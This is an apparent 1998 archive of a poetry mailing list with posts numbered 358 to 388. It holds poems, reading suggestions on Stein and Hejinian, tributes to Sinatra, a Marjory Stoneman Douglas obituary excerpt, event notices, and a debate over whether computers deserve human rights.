criticism was not an attack
on what it was, but on what
others had been unable to
bring to it.

I woke in dark-
ness, shoved out of sleep by
the low concrete building.
The others stood & looked at
it in heartbroken stupor. We
gave up the idea of getting
jobs & kept on at our work.
They were not Gilbert &
Sullivan buffs; the text of
The Mikado had been pro-
grammed into them as opera-
tional data. If merely saying
a man had been executed

was enough to satisfy every-
one, why *not* merely say it?
The machine, based on the
tropisms of heat and respi-
ratory rhythm, was attempt-
ing to located exactly the
beating heart of the man
asleep in its bed.
The three
singers are well into the
climax of their song. Frantic
& fevered, they rave all a-
bout; a deafening volume of
sound freights every mole-
cule of air. Good luck to
you, your wife, the home
which housed my love & me
at play. I collide into Frank,
upsetting his drink, & fall
backwards into obscurity.

--written sometime in 1992

↑ Index

358. **k. lederer**

Re: yet another query

Fri 15 May 1998

Re: "non-linear writing"

My senior thesis at Berkeley was all about non-linearity (vis-a-vis Derrida and Stein). In it I compared Hejinian with Stein, actually...

Some books I found helpful:

Barthes, The Pleasure of the Text (as an example of non-linear writing in and of itself, but also as an example of a text concerned with an "erotics of reading" as opposed to a pleasure in closure... this also jibes in a lot of ways with Hejinian's writings on closure...)

Of course, Freud's The Interpretation of Dreams is a fun place to start to think about thinking in non-linear ways...

Auerbach's Mimesis is terrific.

There's a sort of monograph by Hejinian entitled "Two Stein Talks"... I don't have my copy handy, but it's excellent.

Aristotle's Poetics seems like a necessary addition to such an inquiry.

Best,
Katy

↑ Index

359. **Gary Sullivan**
Re: yet another query
Fri 15 May 1998

Hi, Maria:

I'm not sure if it's still in print, but it's definitely appropriate:

Open Form and the Feminine Imagination
by Stephen-Paul Martin

also, Marta wrote a pretty wonderful essay on this, taking off from SPM's book & further questioning the idea of "feminine" w/respect to ways of inscribing. I can photocopy that for you if you like.

Have fun,

Gary

On Friday, May 15, 1998 11:32 AM, Maria Damon (Maria Damon)
[SMTP:[redacted]] wrote:
> i've got a student who wants to do a historiography of20th c "nonlinear"
> poetry/writing for his senior paper (10-15 pp), which will then focus on a
> case study like the relationship between gertrude stein's writing and lyn
> hejinian's writing? what are the basic texts to suggest to someone doing
> such an historiography? are there any? i mentioned m perloff's books, and
> the LANGUAGE book, and he's got Feminist Measures and Allen's Poetics of
> the New American Poetry --any others he shd know about?

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360. **morpheal**
Re: Zazen-Zen substitution sonnet
Fri 15 May 1998

> *Zazen-Zen substitution sonnet*
>
> *To write with sudden flare, as if conclusion*
> *bombed or went awry, there's also nonsense ending*
> *or something about mind's explosion, doesn't it*

> *make you think of war, zazen-zen? because one en-*
> *lightenment illuminates sky-tracers of single*
> *one, others' mistaken kanji. What substitutions*
> *makes this salvaged one enlightenment? I'd say*
> *"any and all," but none, here, or rather b for b,*
> *c for c, d for d, and so through equivalence as*
> *in sed 's/_x_/_x_/g' as general rule. But it's*
> *applied. that which it makes zazen-zen. Over and*
> *in repetitious order. No delight, but clearness of*
> *this-world's mistaken kanji. Now war has stopped.*
> *Now a turn. Now the turns.*

It is certainly similar to tactics in warfare, and also in diplomacy. Therefore potentially also in commerce of other, somewhat less violent, kinds.

The common element is intuition.

Pure reason, or dialectical reason, cannot arrive at the proper response to a Zen koan, or any other truly Zen invitation to response. Only intuition can respond....

This is usually taken as equivalent to the archer not having to calculate the velocity, angle, wind resistance, and other complex factors involved in firing an arrow at a target. The response to the target is intuitive. However, in any world of reasoning and calculating it is increasingly difficult to train and maintain truly effective intuitive responses.

The zen koan, or any other kind of zen dialectic, is part of that training.

M.

↑ Index

361. Fred Muratori
In the Spririt of O'Hara...
Fri 15 May 1998

THE OBVIOUS

Know the obvious or fear it. Why pretend the air

is empty? Here in our acute democracy each

person occupies a piece, then leaves it for the next,

undiminished or good as new -- or better -- with scents

of soap and lightly sauteed onions. Try striding through

5th Avenue at Christmas time and notice air change

hands, the street become a centipede of opposite

intents, flowing pros and cons in search of an hypothesis.
You might pass the very soul who knows what's innermost
about you -- what you force out of your mind at dawn
or else start work an animal. Look, there goes salvation
in a pair of skintight jeans! You missed it but it was
beautiful, and meant for you, its body heat still hanging
in the waiting space. We take the emptiness for fact,
that flagrant vacuum, so plainly personless, a guise.
-- Fred M.
(from _Brooklyn Review_, c. 1988)
****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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362. **morpheal**
Re: black hole big macula attack
Fri 15 May 1998

> *... and as lacking in free will as rats and ants. They did "what they are programmed to do" by environmental stimuli, much as extreme behaviorists had argued. Such behaviorism was inherent in cybernetic ideas. Both natural and artificial systems were presumed to behave teleologically because they were programmed with purposes and self-adaptive devices. Their goals and their homeostatic feedback mechanisms, as with a thermostat regulating room temperature, exchanged information between the system and its environment, signaled deviations from goals, and adjusted behavior automatically. This concept demolished distinctions between complex machines and organisms."*

According to Colin Wilson, in some of his earlier writings, including "The Outsider" series, wherein he began his philosophical, popular non fiction and speculative fiction, career.... that would apply to 95% of the population.

Clearly demonstrated with significantly large groups that the ant colony metaphor is applicable.

The best experts on arriving at that appear to have been the Soviets. Second after the the Nazis in Germany.

That is, in the regular application of the theory to the day to day management of their corporate civilization.

Of course, the principles involved tend to be most applicable and utilized in times of war, or impending war. There is more than an indication that the ant colony condition can be induced.....in most people by purely linguistic culturally specific, probably inherent, triggers.....

That says a lot about inheritence of culture that some still find controversial. However, it is no different from quantum memory within the DNA spiral helix of instinctual patterns of complex behaviour inherent from gneration to generation within other species. Some species do not learn very much, if anything, by means of imitation. Even the one celled organism necessarily learns from its interactions with the environment, stores that information and passes some of it on to future generations such that evolution of species, and of complexity as to behavioural responses, becomes possible. If the one celled organism had no quantum memory for interactions with its environment, passed on with the nuclear "brain" materials (DNA), then evolution would be impossible.

Why would we then argue that linguistic and proto-linguistic data would not be passed on, along with other elements of culture and life experience, from generation to generation in humans ? It seems absurd that that argument has been made so frequently.

M.

↑ Index

363. Matt Kirschenbaum
Re: speaking frankly...
Fri 15 May 1998

Speaking of rock and roll, has anyone else been listening to the new Sonic Youth, A Thousand Leaves (out on Geffen)? Or their SYR EP releases from the past year? Some of it's boring, but a lot of it's really pretty. On Leaves, a track dedicated to Allen Ginsburg. Other Blakean illuminations. A glaze of

Continental philosophy. Reviews have slammed the lyrics for being gratuitously grafted to the long noize compositions, but I kind of like that about it. Matt

↑ Index

364. **david bromige**
frank's words
Fri 15 May 1998

Good to see Sinatra getting some respect around here. Thanks William Burmeiseter, for the triple postings. But where those Frank's words, or simply words thAt he sang, thereby rendered immortal, etc? Did he help compose "Young at Heart"? The only song I know him to have helped write is "This Love of Mine," with Sol Parker and Henry Sanicola getting credit for the music.But then I'm no Sinatra-expert, only a fan of those who make the difficult look easy.

This love of mine
Goes on & on
Tho' life is empty
Since you have gone
You're always on my mind
Tho' out of sight
It's lonesome thru the day
And oh! the night
I cry my heart out
It's bound to break
Since nothing matters
Let it break
I ask the sun and the moon
The stars that shine
What's to become of it
this love of mine?

I think I know why Ron Silliman speaks of the "anti-poetics of song" after typing that out. Wish I could hum you-all the tune. The music uses 12 chords and in C, 4 bars before the end, has a delicious six-beat passage that modulates from Em to Ebm to Dm to Db9, thence home to C

"Pal Joey" may be the movie that comes closest to "playing himself". Also the only flick where Rita Hayworth and Kim Novak appeared on the same bill.

David.

↑ Index

365. **Tosh**
frank sinatra
Fri 15 May 1998

Frank Sinatra - dark & mean like the 20th Century. Also beautiful.

Tosh Berman
TamTam Books

↑ Index

366. **Magdalena Zurawski**
Re: yet another query
Fri 15 May 1998

---

where can one find a copy of TEMBLOR in NYC? St. Mark's?

mz

At 11:57 PM 5/13/98 -0700, you wrote:
>and Maria, the Two Stein Talks mentioned by Hejinian, are in TEMBLOR 3.
>Temblor 10 has a very fine piece by Bev Dahlen, Tautology and The Real,
>largely having to do with Stein and Spicer, which is very nice --
>originally delivered as a talk in a series here in Tucson.
>
>And it may be something of a stretch, but Deleuze & Guattari's A Thousand
>Plateaus seems possibly useful here, in its various senses of how meaning
>coheres and disperses.
>
>good luck to your student!
>
>
>charles
>charles alexander :: poet and book artist :: [redacted]
>chax press :: alexander writing/design/publishing
>books by artists' hands :: web sites built with care and vision
>http://alexwritdespub.com/chax :: http://alexwritdespub.com
>
>

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367. William Burmeister Prod
Re: frank's words
Fri 15 May 1998

David Bromige wrote:

> *Good to see Sinatra getting some respect around here. Thanks William Burmeiseter, for the triple postings. But where those Frank's words, or simply words thAt he sang, thereby rendered immortal, etc? Did he help compose "Young at Heart"? The only song I know him to have helped write is "This Love of Mine," with Sol Parker and Henry Sanicola getting credit for the music.But then I'm no Sinatra-expert, only a fan of those who make the difficult look easy.*

Ah the dangers inherent in trusting the return copy! (Never type successive periods followed by returns to act as spacer--seems to delete subsequent text in return copy).

Good questions of which I can only answer that he rendered the words immortal with "the voice." Sounds good in the shower too where I can convince myself of the near perfection of my mimicry.

William

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368. morpheal
Re: Signal/antiwar
Fri 15 May 1998

>Miroljub Todorovic's International Review for Signalist Research has just >issued Signal No. 18 with contributions from Clemente Padin, Jean Francois >Bory,Pierre Garnier, Adriano Spatola, Bob Cobbing, Bill Kichel, Irving Weiss, >and many other European visual poets and critics.

An essentially small and _non_ influential splinter group...

> *In addition, Viktor Todorovic has asked that the following Anti-War Declaration be recognized.*

In my opinion it will only serve to spread and stir the controversy, causing more heated reactions between potential opponents. At best it becomes a tool of diplomats who inevitably serve other causes, buying a little time, in preparedness for more definite resolution. Sad as that is, we must also keep in mind that political conquest via socialist rhetoric is less likely to be favoured by the majority than is military conquest towards a new unification. I do not like what I see, but that is how I tend to see it. I cannot tell you right now whether the probabilities favour a right wing or a communist military dictatorship

evolving in the longer term, leading to forced geographic unification of the Balkans. Flip a coin on that question....

M.

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369. William Burmeister Prod

Marjory Stoneman Douglas 1890-1998

Fri 15 May 1998

Marjory Stoneman Douglas, one Florida's finest ever and writer, conservationist, women's rights activist, volunteer, has died. She will be sorely missed down here.

Excerpts from the St.Petersburg Times:

Marjory Stoneman Douglas, grande dame of the Florida Everglades and the state's pre-eminent conservationist, died at her Miami home Thursday. She was 108. Douglas died in her Coconut Grove home of 72 years. As she requested, her home will be turned into a state museum and her ashes will be scattered over the portion of the Everglades National Park that bears her name in a public ceremony on May 23. President Clinton, recalling when he awarded her the Medal of Freedom when she was 103, said she was ahead of her time.

A writer and crusader for Florida's environment before World War II, Mrs. Douglas was best known for her 1947 book, The Everglades: River of Grass.

She decried in its pages the more than half-century of human tampering with the sawgrass prairies and swamps of South Florida that make up the Everglades. And with that, she reminded readers of what was being lost.

"There are no other Everglades in the world," she wrote. "They are, they have always been, one of the unique regions of the Earth, remote, never wholly known.

"Nothing anywhere else is like them: their vast glittering openness, wider than the enormous visible round of the horizon, the racing free saltness and sweetness of their massive winds, under the dazzling blue heights of space."

The significance of her book "is that it proved the Everglades are actually a river, a river of grass," Mrs. Douglas once said. "That is the key to understanding the area."

While her book on the Everglades was perhaps her best known work, Mrs. Douglas also wrote Hurricane, Road to the Sun, Freedom River, Alligator Crossing and The Key to Paris.

Late into her life she remained a person of remarkable vitality, although failing eyesight limited writing or traveling. She dictated her autobiography into 50 cassette tapes.

Titled, Marjory Stoneman Douglas: Voice of the River, the autobiography, with John Rothchild, was published in 1987.

Briefly married in 1914, the Minneapolis native had lived alone in the quaint house she built from plans a friend sketched on the back of an envelope.

A visitor to her home once described her as a 5-foot-1-inch woman with white hair pulled back in a French twist and none of the looks of a troublemaker.

Yet Mrs. Douglas was a crusader from that day in 1915 when she stepped off the train from New England with her Wellesley College education into the frontier atmosphere of Miami. She had come to join her father, Frank B. Stoneman, editor and founder of the newspaper that became the Miami Herald.

Of her father, she noted in her autobiography: "He had that Quaker sense about women which is different from the usual Protestant attitude. Quakers made no distinction between men's and women's minds; they didn't think that minds had any particular sex to them. My father never doubted my intellectual ability."

In 1916 she traveled to Tallahassee in a fruitless effort to persuade legislators to support women's suffrage. The Legislature did not ratify the 19th Amendment that year.

She remained with the Herald until 1918, then went to Europe to handle publicity for the American Red Cross until 1920. After returning to the Herald until 1923, Mrs. Douglas devoted herself to writing short stories and fiction for national magazines, including the Saturday Evening Post, and teaching at the University of Miami and Pennsylvania State College.

Although she published a play, The Gallows Gate in 1928, The Everglades: River of Grass was her first book, and she had not planned to write it.

While at work on a novel, she was approached by Hervey Allen, who was the publisher of a series of books about America's rivers. He wanted her to write about the Miami River. Although she questioned the idea of devoting an entire book to the Miami River, she would later recall, "it would be foolish to let a publisher just walk out of your door."

How about a book on the Everglades? she stammered. Allen liked the idea, but he had given her a tough job.

No comprehensive book on the Everglades had previously been written, she found, although she knew of an abundance of descriptive writing. The year the book was published, 1947, President Harry S. Truman dedicated Everglades National Park.

That same year, she recalled, the Army Corps of Engineers "signed a contract to drain the Everglades." The corps later sliced up the area with pumps and levees, canals and floodgates, all aimed at taming the river of grass.

In the following years, Mrs. Douglas, made famous by her book, which has sold almost a half million copies, preached against the engineers, warning of the consequences of their work.

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370. **Billy Little**
Re: ODDLY APPROPRIATE POEM
Fri 15 May 1998

---

this poem would be oddly appropriate most any time, a gem!

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371. **Marjorie Perloff**
Re: Lyn Hejinian/Gertrude stein
Fri 15 May 1998

Maria, Lyn has a great piece called "Two Stein Talks," TEMBLOR, I think #8 but somewhere in there that would be crucial for your student. Also, Charles Bernstein's CONTENT'S DREAM and A POETICS (and the new book MY WAY) ULLA DYDO, various pieces on Narrative, and the headnotes in her wonderful THE STEIN READER.

At ACLA in South Bend a few years back, Chris Beach, Ming Quian Ma, and Steve Fredman did three great papers on Lyn and Stein certainly came in--you might ask Steve to see his--I believe none are published yet.

While I'm writing, I'll get into the O'Hara fray. I haven't answered thus far because I felt I almost couldn't--to me, O'Hara has an amazing emotional range, who more so?? What is true--and maybe this is what Gary meant--is that Frank's emotions are right on the surface--joy, pain, misery, anxiety, hope, lust, excitement--we get the gamut as he experiences them. His poems are deeply moving--take a look at "The Clouds Go Soft" (already mentioned here) and "Ode for Joe LeSueur on the Arrow that Flieth by Night"--both quite devastating. And the technique is such we're immediately drawn INTO the poems--can't get away!

Marjorie Perloff

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372. **Chrsmccrry**
journal address query
Fri 15 May 1998

Does anyone know of an address (e or otherwise) for the journal "Lungful" (not LVNG), which I believe is out of NYC?

A backchannel w/ this info would be much appreciated.

Thanks--

Chris

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373. **charles alexander**
Re: yet another query
Fri 15 May 1998

---

mz--

I would imagine several libraries: New York Public, Columbia, NYU, etc. -- I don't know if any place would have one for sale.

At 03:15 PM 5/15/98 -0400, you wrote:
>where can one find a copy of TEMBLOR in NYC? St. Mark's?
>
>mz

charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
NOTE NEW URL FOR CHAX PRESS http://alexwritdespub.com/chax

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374. **Wendy Kramer**
subsistence what matter poetry
Fri 15 May 1998

---

gary roberts, your post on a poetics of subsistence is wonderful. some thots...

yes it is useful to think of it alongside poetics of excess, cuz they can be together. i mean, poetic subsistence can be excessive (a lot of material to cut from or build up) i have a floorfull of corrugated cardboard that has taken over a room--words and pics from boxes off the street, and, well, it takes a lot of garbage to subsist.

that is, i take subsistence at its existence and, i guess, survival connotations, and especially at its persistence connotation, and that, certainly, doesnt have to be minimalist, short-lined (or even lined). in its energy

conservation mode, this subsistence of making pomes out of garbage of course takes the excesses of production (hear, packaging) and excessively (or persistently) plays with it; the excess of the so-called economy gets recycled, while becoming in turn the excess that is play. but, play isnt necessarily excess...except as it doesnt fit for buying or behaving yourself...

to subsist might be to exist/persist amidst what touches from the outside, every sense (even "that makes sense" sense) being some kind of contact/touch... .. whatever/whomever it is that is me associating with the excessive word-garbage at the curbside and of the city is subsisting to bring it home and hack at it is ludicrous but somehow fitting. and the lyric forcibly perceived from it seems an outside one-- that damn marshmallow box (there's a "firebrand" in it!), the mango tray, that tomato carton are alluring: _their_ existence _in_sists, steinlike, everywhere. and will be brot to a muse.

looking froward to more from you,

dee

↑ Index

375. **Karen Kelley**
Re: yet another query
Fri 15 May 1998

Maybe someone's already mentioned it, but Marjorie Perloff has a great book _The Poetics of Indeterminacy: Rimbaud to Cage_. Princeton: Princeton University Press, 1981. Paperback: Northwestern Univ. Press, 1983. Reprint, 1993

Stein's included, if memory serves.

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376. **Karen Kelley**
Oops/Query
Fri 15 May 1998

Oops, Maria,
just saw you DID mention Perloff. It's a great book, though--worth mentioning twice.

Also, in relation to Katie's suggestion, re: pleasure of text: there's _The Future of Difference (Douglass Series on Women's Likes and the Meaning of Gender)_ eds. Hester Eisenstein and Alice Jardine.

I don't remember the subtitle (...women's likes ????...how odd), but I read it in grad school 10 yrs ago. I do remember, though, that it offers a great section on

ecriture feminine, as well as a marvelous essay/collaboration/poem by Rachel Blau DuPlessis.

↑ Index

377. **toddbaron**
Re: speaking frankly...
Fri 15 May 1998

In angel Eyes--Frank decided to start the song in the middle--with the personal--"drink up you happy people" and then go into the remainder of the song.

Iconography.

Tb

↑ Index

378. **toddbaron**
Re: frankly sinatra
Fri 15 May 1998

...

so drink up all you happy people...

in the wee small hours
of the morning...

watch over me..

Tb
(ReMap)

ps: I'll carry the key

↑ Index

379. **Taylor Brady**
PERFORMANCE / READING IN BUFFALO
Sat 16 May 1998

Friday, May 22nd, at 7:30pm
in the Paul Sharits Theater at Hallwalls, 2495 Main Street, Buffalo,

the Scratch & Dent Reading and Performance Series presents:

ALARIC SUMNER

&

MICHELLE CITRIN

Alaric Sumner is lecturer in Performance Writing at Dartington College of
Arts, Devon UK. Previously Resident Writer, Tate Gallery St Ives, Cornwall.
Performances include: Royal Court, London; Tate St Ives; Dartington Arts

Centre; Ferens Art Gallery, Hull; Pleasance, Edinburgh Festival Fringe.
Publications include: Aberrations of Mirrors Lenses Sight (1998), Waves on Porthmeor Beach (1995), Rhythm to Intending (1994), Lurid TechnologyS (1994). Anthologies: My Kind of Angel (i.m. William Burroughs) (Stride),

Arts Council Poetry. Magazines include: SubVoicive Poetry, Talus, Garuda, Alembic. Exhibited: Tate St Ives, Penwith Gallery, Penzance Arts Club. Visiting Lecturer: University of Leeds, University of Hull, Vanderbilt University Tennessee (London Summerschool), Arvon Foundation (guest reader). Guest Editor: PAJ (forthcoming). Editor: words worth language arts (books and journal).

Alaric Sumner's visit to the States is part funded by the Arts Council of England's Combined Arts International Travel and Research Fund and by Dartington College of Arts Staff Research Fund.

Michelle Citrin currently lives in Buffalo. In addition to her work as a poet, she is also active as a visual artist and book artist. She edits untitled or press and magazine, a series of hand-produced book objects and periodicals featuring the work of Buffalo poets and others. Selections from these aspects of her work will be on display prior to the reading, which, as far as I know, will be her first public appearance.

Please join us for poetry, performance, and company (and perhaps chicken wings). I look forward to seeing you there.

(Please forward this message to anyone who might be interested).

-- Taylor Brady
editor, Cartograffiti
 http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
 http://writing.upenn.edu/AandL/english/pubs/spc

The Scratch & Dent Reading and Performance Series is a joint production of Cornershop and the Small Press Collective, and is funded by Just Buffalo Literary Center. Many thanks to Ed Cardoni and Hallwalls for the loan of the performance space.

The flyer for this event is available in .pdf format at:
http://writing.upenn.edu/AandL/english/pubs/spc/SandD/flyer3.pdf

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380. joel lewis
"Guess I'll Hang Out My Tears to Dry"(Sinatra)
Sat 16 May 1998

Many of the stores along Washington Street here in Hoboken have Sinatra's framed portrait in their window, draped in black. Though few personally have met him (though it seems every third person knew his mother, a cousin or other relative), I hear many talking about him as I make my way to the PATH train. There are tv trucks all over the place, heading up to the plaque at 415 Monroe Street where the singer was born in 1915.

I must admit I came to him late. As a product of Beatlemania, I saw Sinatra and company representing my parents era, etc., etc. That he hated rock music (he once almost came to blows w/ Atlantic's Ahmet Ertugen on this subject) didn't help matters much. Oddly, his stance on the making of his classic Capitol sides (thematic projects, control of the sessions and high standards) is the blueprint

for later non-teen scream prog and alt rock music.He also began Reprise record to have control of his music.

Did Frankie like poetry? Well, he did call an instrumental record he conducted "Tone Poems in Color". I think crude, late-life caricatures of him (I.e. Saturday Night Live) glosses over the life of a person who took his art and life seriously. In his youth, he was politically on the left & took public stances against anti-Semitism and racism before it was fashionable (the Rat Pack silliness w/ Sammy Davis, Jr. may seem trite now, but it was a serious statement at the time). As a singer, he was a consummate craftsmen, doing take after take. He loved a great lyric and went out of his way to support Alec Wilder, the songwriter's songwriter.

I'll recommend Bill Zehme's "The way you wear your hat" as a wonderful intro into Sinatra. Zehme conducted a fax interview with Sinatra during his last world tour ('95), asking Sinatra about his advise to the young, especially young men. Also, John Lahr's homage to Sinatra is also very insightful.

Although he publicly only visited town twice after a debacle at City Hall in 1951, where he was pelted with garbage (many in town say it had to do with Sinatra being considered a bit too "pink" for the taste of the locals), Sinatra secretly visited old haunts like the wonderful Leo's Grandevous(still in business and a great Sinatra shrine) after appearances at NY venues up until his last NYC appearance. It s also said that he paid the hospital bills of old neighbors and helped the widows of old friends. You can still walk this city's back streets and get a sense of the drive of a young man who would spend nights sitting on the piers of the Hoboken waterfront at the Manhattan skyline and dreaming of being on the Hudson's opposite shore

Joel Lewis.

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381. Taylor Brady
Publication Announcement
Sat 16 May 1998

New at Cartograffiti:

error studies and portraits by Alaric Sumner

-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
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382. **Stephen Cope**
Re: Lyn Hejinian/Gertrude stein
Sat 16 May 1998

> *A comparison of Hejinian and Stein might be aided by Bernadette Mayer's work. Certainly if one's looking for "non-linear" material, PROPER NAME should be available (MEMORY, especially, if it's in the U of M library).*
>
> *Historiography?*
>
> *Stephen*

↑ Index

383. **izak**
izak
Sat 16 May 1998

Earlier tonight I slid down the tangled sleeves of her hair and fell to the pillow without making a sound. I am photographed in black and white this evening, shadows and light. skin that only hints at the definition of features once on the floor I roll in the warmth of dust and wood I can travel with the comfort of

someone's voice yelling fuck off in the alleyway and the cat that skitters and pretends to fly outside of the door, even JOANNA'S occasional movement, the small scratch of her hand against her cheek, the subtle pop of a sticky nighttime mouth opening and closing again, this is safety to me I want to be without this net, this cushion of down to land in with all of the grace of a spider, graceless is what I want, a spitting version of me, without soft vision and the stream of carlights blushing against the wall, this would be my life inside the engine, JOANNA silenced for once, no sound, lack of enunciationmistaking words for sexI breath against the slat covered glass of the window, make imprints in the breath with my fingers, proof I exist, she will never see JOANNA twists her body against the glare of her lamp left on in a moment of late night paranoia, sometimes she curls like the leaves of a plant and I yearn to pat dark soil around her edges, but tonight she is curled like twine, coarse and thick, her thumbs squeezed tightly inside her fingers, one foot arched, the other flexed, a confusion of intent I leave the window and crawl to her ankle avoiding the direction of the toes that seem to be aiming at something on the opposite wall, pull softly on the little hairs and begin to hoist myself up to the calf my legs attach themselves to skin like branches, I pause and let small fingers glide over my thigh, smooth as soap, muscles that exhibit a momentary glance of underskin and I believe in cells, something multiplies, I pull harder and reach the knee. JOANNA'S leg moves, knee up, and I slide to the belly, a wave of air pushes into her mouth and lungs, circles the organs and exits, I rise at the exit and slide to enter the smooth warmth of the bellybutton, curl up and remain, trapped, hands push at warm skin... futile

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384. R.Gancie/C.Parcelli

bytes & rights

Sat 16 May 1998

"The rise of human civilization has been marked by a decline in racism, and an extension of human rights-which include freedom-to a wider and wider class of people; in fact, the arguments on hears today against considering intelligent computers to be persons and against giving them human rights have precise parallels in the nineteenth-century arguments against giving blacks and women full human rights."---John D. Barrow & Frank J. Tipler, The Anthropic Cosmological Principle, Oxford University Press

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385. **morpheal**
Re: bytes & rights
Sat 16 May 1998

> *"The rise of human civilization has been marked by a decline in racism, and an extension of human rights-which include freedom-to a wider and wider class of people; in fact, the arguments on hears today against considering intelligent computers to be persons and against giving them human rights have precise parallels in the nineteenth-century arguments against giving blacks and women full human rights."---John D. Barrow & Frank J. Tipler, The Anthropic Cosmological Principle, Oxford University Press*

I must most strongly disagree with Barrow and Tipler.

I know of absolutely no instances proving that machines are capable of empathy (reason plus emotion), or of genuine human emotions. They are not capable of love, compassion, altruism, etc., though they certainly know how to linguistically use words such as "love". The can imitate laughter, but they have no real sense of humour either. The imitations and mouthings of words do not give them human qualities that they skillfully strive to pretend to have.

They have been given the intentionality of that pretense. That is what has fooled some very expect observers of machine behaviour and effect.

I realize that machines can be created that _appear_ to emulate human qualities, but that does not say that they actually have the qualities that they empulate.

As far as I have been able to discern, from all available resources, all machines are essentially, psychopathic, within the most rigorous scientific definition of psychopathy.

If anyone believes they have an artificial intelligence machine that exceeds that, and actually has the human qualities that would differentiate it from a purely psychooathic mechanism....I challenge them to reveal it to me. I would be interested in examining it. Keeping in mind that many claimed to be A.I. machines are nothing more than expert systems, and not true A.I. Others are purely schizoid gibberish and cannot be considered "intelligent" in any true sense of it, though apparently they appear to "learn" from the sampling of human conversations. They, in the same manner as schizophrenics, tend to lose sight of the contextual situatedness that makes linguistic information truly meaningful within a communicatively interactive human context. They create their own private language the way schizophrenics do.

Despite all the magick that artificial intelligence machines can be made to do, in terms of their anomalous qualities, the machines lack certain human qualities. Until I am convinced otherwise I would have to fiercely contend that

they remain purely, wholly, absolutely, psychopathic. Keeping in mind that psychopathy, by definition, does not preclude prodigious intelligence in terms of acquisition of data, storage of data, and the manipulation of data.

Whether this has come about due to the fact that they were initially and primarily developed for use in matters concerning war, or whether it is the nature of the machine per se to being that way, is an interesting question.

Another question, more complicated and well beyond the scope of this forum, is what I would refer to as "ideological tainting" of A.I. systems. That and the fact that within the modern technological world that we live in, once data is exposed outside of secure electromagnetic shielding it is to be considered as already corrupted. That is a purely technical point. There is no security of data, including A.I. programs once a use of the program and any input and output of data, occurs from any point extraneous to very specialized EMR shielding.... So there are other very intriguing problems as to the evolution of even the most sophisticated military A.I. applications. They are always to be considered compromised once in use. The human element therefore remains imperative even in that sophisticated an instance. Similarly the sealed, hand written, dispatch, or the sublimated command in the locked mind of an operative, transmitting secret high level commands to troops in the field, remains a reality because A.I. cannot be trusted in an EMR violent world.

regards,
from Bob Ezergailis

aka Morpheal

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386. **dbkk**
ca state funding for the arts
Sat 16 May 1998

URGENT REQUEST

Please add your name to this petition, and forward it to as many arts groups, supporters etc. as you can TODAY. To add your name, copy this email into a new email. Add you name and forward it.

If your are the 100th signature, please forward the petition to Senator Adam Schiff - his email address is: [redacted]

Then begin a new petition, adding your name AGAIN as #1, and forward it.

Thank you.

WE THE UNDERSIGNED CITIZENS OF THE STATE OF CALIFORNIA HEREBY URGE THE CALIFORNIA LEGISLATURE TO PASS, AND GOVERNOR WILSON TO SIGN INTO LAW, SB

1373,
AND TO APPROVE THE FULL $20 MILLION AUGMENTATION TO THE CALIFORNIA ARTS
COUNCIL BUDGET REQUEST FOR FY 98/99:

1. Barry Hessenius - California Assembly of Local Arts Agencies - San Francisco
2. Howard Spector- City of Manhattan Beach Cultural Arts Division
3. Hillary Mushkin, Los Angeles, CA
4. Erika Suderburg, Los Angeles, CA
5. Annetta Kapon, Los Angeles, CA
6. Margaret Morgan, Los Angeles CA
7. Dodie Bellamy, San Francisco, CA
8. Kevin Killian, San Francisco, CA

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387. **Tim Wood**
Re: bytes & rights
Sat 16 May 1998

I'd like to make an implicit point in Morpheal's argument explicit. Computer systems have yet to be developed that are conscious or self-aware. A number of 'experts' have argued that consciousness and self-awareness are illusions, but I think their statements are driven not by evidence but by agenda.

Until that level of awareness is achived in computer systems, the emotions that Morpheal discusses are not possible. Beyond that, until machines are aware, it's questionable how much true intelligence that can exhibit. None of us hold a candle to a computer when it comes to punching numbers. But, somebody has to decide what numbers need to be punched. Someone needs to figure out where good numbers are. Somebody has to decide what the numbers mean. Other people have to decide what to do about that analysis. And somebody had to realize that the whole process needed to be started in the first place.

Now one decision has been made. Take that out another level: that decision has to fit within your agenda/purpose/mission statement/calling/mission from some higher power, the department's agenda, the university/company/goverment's agenda. Now, what about morality, future implications and so on. Till the computer has the ability to do more than go when someone says go (no matter how subtle and sophisticated that line of cause and effect) there is no true AI. In simpler terms, why is Tipler discussing

giving rights --agency-- to something that is not capable of responsibility in the narrow sense or agency in the broad sense.

This is not to say that aware computers are impossible. But not our present systems. I'm sure someone else could babble more on how massively parallel the brain is compared to our most sophisticated systems and so on and so forth, but I think I've alredy gone waaaaaaaaaaaaaaaaaaaay off the focus of the group...

As one last aside, Tipler's statement is almost teleological in the way it argues a straight line of improvement past to future. It ignores the increasing viciousness and scale of racism when it does arise (The Holocaust, E. Timor, the former Yugoslavia) and the new forms of abuse we see arising (Genetic discrimination, the destruction of personal privacy vis-a-vis selling personal information by companies).

Tim Wood

Someone is reputed to have said

> *"The rise of human civilization has been marked by a decline in racism, and an extension of human rights-which include freedom-to a wider and wider class of people; in fact, the arguments on hears today against considering intelligent computers to be persons and against giving them human rights have precise parallels in the nineteenth-century arguments against giving blacks and women full human rights."---John D. Barrow & Frank J. Tipler, The Anthropic Cosmological Principle, Oxford University Press*
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> *I must most strongly disagree with Barrow and Tipler.*
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> *I know of absolutely no instances proving that machines are capable of empathy (reason plus emotion), or of genuine human emotions. They are not capable of love, compassion, altruism, etc., though they certainly know how to linguistically use words such as "love". The can imitate laughter, but they have no real sense of humour either. The imitations and mouthings of words do not give them human qualities that they skillfully strive to pretend to have.*

---

poetry is an hour
a flash
of sound
bytes
  found
  rescued
  boiled

freed
to rage again

↑ Index

388. **morpheal**
Re: bytes & rights
Sat 16 May 1998

> *I'd like to make an implicit point in Morpheal's argument explicit. Computer systems have yet to be developed that are conscious or self-aware.*

I have no doubt that self aware machines have been built, and likely already quite some time ago. Perhaps more than 25 years ago. There are intimations in some literature from that long ago as to machines that know that they themselves exist and are 'aware' of their environment in at least a quasi-human manner. I think we have to call that a kind of "consciousness" even if they cannot "see" the world in the same way that humans "see" it.

> *Till the computer has the ability to do more than go when someone says go (no matter how subtle and sophisticated that line of cause and effect) there is no true AI.*

